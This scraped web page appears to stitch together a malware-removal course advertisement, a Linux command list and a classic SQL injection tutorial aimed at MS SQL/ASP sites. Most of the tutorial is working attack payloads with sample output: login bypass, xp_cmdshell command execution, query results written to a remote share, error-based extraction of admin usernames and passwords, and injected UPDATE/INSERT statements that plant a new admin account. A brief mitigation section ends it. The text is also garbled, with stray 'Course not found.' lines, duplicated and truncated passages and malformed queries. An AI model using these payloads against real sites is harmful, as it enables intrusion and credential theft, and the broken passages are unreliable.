The Complete Cyber Security Course : Hackers Exposed Volume 1

The Complete Cyber Security Course : Remove Malwares_Volume1

The Complete Cyber Security Course : Remove Malwares_Volume1

what are you going to learn?

  • -Understand Three ways handshake and how reverse connection work

  • -How to use command prompt to Detect and Completely Remove FUD malwares-trojans-worms-backdoors-botnets-Payloads from your computer wherever if they can Bypass all anti viruses (without anti virus).

  • -How To use Two softwares to easly Detect and Completely Remove FUD malwares-trojans-worms-backdoors-botnets-Payloads from your computer wherever if they can Bypass all anti viruses (without anti virus).

  • -How to Prevent malwares-trojans-worms-backdoors-botnets-Payloads from autorun in your computer ( without anti virus)

  • -How to Use Wireshark to Analyse your network &  Detect malicious websites – Find and Remove those malwares that downloaded itself in background automatically

  • – Detect the infected machine hostname & mac address & Ip address on your network .

  • How to Detect & Completely Remove malwares-trojans-worms-backdoors-botnets-Payloads that hide  Their Tcp Connection Activity (IP ADDRESS & PORT).

  • How to Detect & Completely Remove Rootkits-malwares-trojans-worms-backdoors-botnets-Payloads that hide Their selfs from process manager (taskmanager and other process monitors).

  • Get the attacker ip address and trace the attacker location.

  • Detect Metasploit Meterpreter Migrations on multiple Process and Close the TCP connections.

  • Prevent the metasploit Meterpreter (session) forever – the attacker no longer can open a meterpreter session on your computer (Wherever if the Meterpreter Payload Fud and can Bypass all anti viruses – Firewalls – IDS – IPS).

  • 11. Advice that keep you safe from hackers

Learn LINUX BASIC COMMANDS


alias: Allows you to set aliases and view the current aliases.
awk: Search for a pattern within a file.
alien: Converts .tgz and rpm’s to .deb format.
banner: Prints characters as a poster.
badblocks: Searches a device for bad blocks.
biff: Turns mail notification on and off.
bg: move a job running in the foreground to the background.
bzip2: Used to compress and decompress files. Similar to gzip.
cardctl: Used to control PCMCIA cards.
cfdisk: Used to partition a hard disk.
cp: Copy
chattr: Changes the attributes of a file or folder.
chroot: Change the root directory for a command.
chmod: Used to change permissions on a directory or file.
chown: Used to change the owner of a file or directory.
chgrp: Used to change the group a file belongs to.
clear: Clears the screen
cpio: Copies file.
cat: Displays the content of a file
chpasswd: Used to change a large number of passwords at once.
cd: Changes directories.
chage: Sets password aging parameters.
cal: Displays a calendar.
cron: Used to execute commands at a certain time.
crontab: Allows you to view or edit the current cron jobs.
dselect: A graphical front end for dpkg.
dpkg: Installs packages on debain distro’s.
date: Prints current date to the screen
du: Lists disk usage in a directory.
df: Reports disk usage information. df -h
dmesg: Used to view the kernel boot file.
dump: Used for backing up.
edquota: Sets quotas for specific users.
env: Lists current environment variables.
fdisk: Used to create/edit/delete partitions.
fsck: Checks a file system for consistency.
fg: Used to send jobs to the background.
fuser: Checks to see what processes and users have open files.
find: Searches for a file.
free: Will show total memory, used memory, and free memory.
gcc: Used to compile C, Assembler, and Preprocessed C source.
gpasswd: Used to set a password for a group.
grep: Used to search through a file for a specified pattern.
getty: Set terminal type, modes, speed, and line discipline
groupadd: Create new group account.
groupdel: Deletes a group.
groupmod: Used to modify a group.
groups: Shows what groups a user is part of.
gunzip: Uncompress files compressed by gzip.
head: Displays the first 10 lines of a file to the screen.
hdparm: Gets disk information.
history: Lists recently executed commands.
host: Used to get DNS info.
htpasswd: Allows you to set usernames and passwords for your
websever.
id: Display information about yourself or another user.
insmod: Installs modules.
init: Used to change run levels.
isapnp: Sets up ISA cards.
icmpinfo: Intercept and interpret ICMP packets
jobs: Used to show jobs running in the background.
join: Join lines of two sorted.
kill: Used to kill a process.
killall: Kill processes by command name.
kernelcfg: A graphical application configures Linux.
klogd: Control which kernel messages.
linuxconf: A command line GUI which lets you configure your linux
lpc: Used to control a line printer.
lpq: View the print spool queue.
lpr: Send files to the printer spool queue.
ls: Displays a directories contents.
ln: Used to create hard and symbolic links.
less: Display the contents of a file
locate: Search for a file or directory.
ldd: Shows what shared libraries a program is dependent on.
ldconfig: Used to configure/view shared libraries.
last: Lists logins and reboots.
lastlog: Print the last login times for system accounts.
lsmod: Lists loaded modules.
lsattr: Lists the attributes for a file or folder.
logrotate: Used to manipulate log files.
mount: Used by itself, reports the currently mounted files.
modinfo: Give info about the module.
modprobe: Queries modules.
man: Displays the Man page for a given command.
mesg: Used to allow/not allow ‘write’.
manpath: Attempts to determine the path to a man page.
mail: Used to send and receive mail.
mkdir: Make directory
mke2fs: Used to format a partition with the Ext2 file system.
mv: Move/Rename
merge: Merge multiple files together.
more: Lets you page through text one screen full at a time.
minicom: Great utility for troublshooting a modem.
mkbootdisk: Used to make a boot disk.
ntsysv: Used to select what services should automatically start.
nice: Used to set process priorities.
nslookup: Used to get DNS info from name servers.
netstat: Shows active sockets.
ps: Displays current processes
ping: Used to test connectivity between two hosts.
pwd: Present Working Directory
pwconv: Used to set up the /etc/shadow file.
pnpdump: Determines settings for existing ISA cards.
quota: Allows users to view their own disk quotas.
quotaon: Turns on disk quotas for the system.
quotaoff: Turns off disk quotas for the system.
repquota: Provides reports of disk usage for various users.
rmmod: Removes modules.
rm: Remove
rmdir: Remove directory
rpm: (RedHat flavors only)Used to install RPM’s
rpcinfo: Used to see what rpc services are available.
route: Used to view/change routes between you and other hosts.
smbclient: Used to connect to Windows shares or Samba.
smbadduser: Maps linux user names to Windows NT user names.
smbpasswd: Used to update the smbpasswd file with new accounts.
set: Used to read and write variables.
setquota: Used to set disk quotas.
sort: Sorts lines in a file by alphabetical order.
sndconfig: Used to probe and configure a sound card.
su: Change to Super User (root).
spell: Checks for spelling errors in a file.
startx: Start the X Server (GUI)
shutdown: Shutdown machine
suspend: Places a shell in the background.
showmount: Shows mount information for an NFS server.
swapon: Turns on the swapfile.
swapoff: Turns off the swapfile.
testparm: Used to troubleshoot Samba.
tar: Used to compress multiple files.
timeconfig: Used to set the timezone on your machine.
tac: View a file from the last line up.
touch: Creates an empty file.
tail: Displays the last 10 lines of a file to the screen.
talk: Used to chat with another user on the same machine.
tr: Converts one set of characters to another.
traceroute: Used to track the path a packet takes to a host.
top: Shows information about the most CPU-intensive Apps.
useradd: Add a user.
usermod: Modify a user.
userdel: Delete a user.
umount: Removes a device from the filesystem.
updatedb: Updates the locate database.
uname: Determines OS name, version and machine name.
vmstat: Lists information on memory usage.
vi: A text editor
whereis: Finds documentation files.
who: Tells you who is logged into your server.
whoami: Tells you your user information.
wc: Print the number of bytes, words, and lines in files
which: Finds the full path for a command.
write: Used to send a message to another user.
whois: Used to query servers for info on.
wall: Writes a message to all logged in users.
xman: Graphical interface for man pages.
xf86config: Used to configure X.
zcat: Read files that have been compressed with gzip

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SQL INJECTION TUTORIAL

1.1 What is SQL Injection?


It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to
the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has
valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and
thus grant us something else.


1.2 What do you need?


Any web browser.
2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send
parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and
look for “FORM” tag in the HTML code. You may find something like this in some HTML codes:

Everything between the and have potential parameters that might be useful (exploit wise).


2.1 What if you can’t find any page that takes input?


You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:
http://duck/index.asp?id=10
3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:
hi’ or 1=1–
Into login, or password, or even in the URL. Example:

  • Login: hi’ or 1=1–
  • Pass: hi’ or 1=1–
  • http://duck/index.asp?id=hi’ or 1=1–
    If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field
    accordingly. Example:

If luck is on your side, you will get login without any login name or password.

Course not found.


3.1 But why ‘ or 1=1–?


Let us look at another example why ‘ or 1=1– is important. Other than bypassing login, it is also possible to view extra information that is not normally
available. Take an asp page that will link you to another page with the following URL:
http://duck/index.asp?category=food
In the URL, ‘category’ is the variable name, and ‘food’ is the value assigned to the variable. In order to do that, an ASP might contain the following code
(OK, this is the actual code that we created for this exercise):
v_cat = request(“category”)
sqlstr=”SELECT * FROM product WHERE PCategory='” & v_cat & “‘”
set rs=conn.execute(sqlstr)
As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:
SELECT * FROM product WHERE PCategory=’food’
The query should return a resultset containing one or more rows that match the WHERE condition, in this case, ‘food’.
Now, assume that we change the URL into something like this:
http://duck/index.asp?category=food’ or 1=1–
Now, our variable v_cat equals to “food’ or 1=1– “, if we substitute this in the SQL query, we will have:
SELECT * FROM product WHERE PCategory=’food’ or 1=1–‘
The query now should now select everything from the product table regardless if PCategory is equal to ‘food’ or not. A double dash “–” tell MS SQL
server ignore the rest of the query, which will get rid of the last hanging single quote (‘). Sometimes, it may be possible to replace double dash with
single hash “#”.
However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try
‘ or ‘a’=’a
The SQL query will now become:
SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’=’a
” or “a”=”a
‘) or (‘a’=’a


4.0 How do I get remote execution with SQL injection?


Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM,
which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:
‘; exec master..xp_cmdshell ‘ping 10.10.1.2’–
Try using double quote (“) if single quote (‘) is not working.
The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you
can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited
Web User access to these stored procedures.


5.0 How to get output of my SQL query?


It is possible to use sp_makewebtask to write your query into an HTML:
‘; EXEC master..sp_makewebtask “\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”
But the target IP must folder “share” sharing for Everyone.

Course not found.


6.0 How to get data from the database using ODBC error message


We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:
http://duck/index.asp?id=10
We will try to UNION the integer ’10’ with another string from the database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the
name of each table in the database. It was chosen because we know it always exists. Our query:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLESThis
should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string
(nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.
/index.asp, line 5
The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the
database, which is “table1”.
To get the next table name, we can use the following query:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)–
We also can search for data using LIKE keyword:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’–
Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.
/index.asp, line 5
The matching patent, ‘%25login%25’ will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, “admin_6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–
Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.
Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.
/index.asp, line 5
Now that we have the first column name, we can use NOT IN () to get the next column name:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–
Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.
/index.asp, line 5
When we continue further, we obtained the rest of the column name, i.e. “password”, “details”. We know this when we get the following error message:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)–
Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

Course not found.


6.2 How to retrieve any data we want?


Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.
Now, let’s get the first login_name from the “admin_login” table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–
Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.
/index.asp, line 5
We now know there is an admin user with the login name of “neo”. Finally, to get the password of “neo” from the database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–
Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.
/index.asp, line 5
We can now login as “neo” with his password “m4trix”.


6.3 How to get numeric string value?


There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number
(character between 0-9 only). Let say we are trying to get password of “trinity” which is “31173”:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–
We will probably get a “Page Not Found” error. The reason being, the password “31173” will be converted into a number, before UNION with an integer
(10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any
numeric entry.
To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–
We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for ‘+’ = 0x2b). We will append ‘(space)morpheus’ into the
actual password. Therefore, even if we have a numeric string ‘31173’, it will become ‘31173 morpheus’. By manually calling the convert() function,
trying to convert ‘31173 morpheus’ into an integer, SQL Server will throw out ODBC error message:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.
/index.asp, line 5
Now, you can even login as ‘trinity’ with the password ‘31173’.


7.0 How to update/insert data into the database?


When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to
change password for “neo”:
http://duck/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–
To INSERT a new record into the database:
http://duck/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–
To INSERT a new record into the database:
http://duck/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–
We can now login as “neo2” with the password of “newpas5”.

Course not found.


8.0 How to avoid SQL Injection?


Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:

  • Input from users
  • Parameters from URL
  • Values from cookie
    For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.
    Change “Startup and run SQL Server” using low privilege user in SQL Server Security tab.
    Delete stored procedures that you are not using like:
    master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

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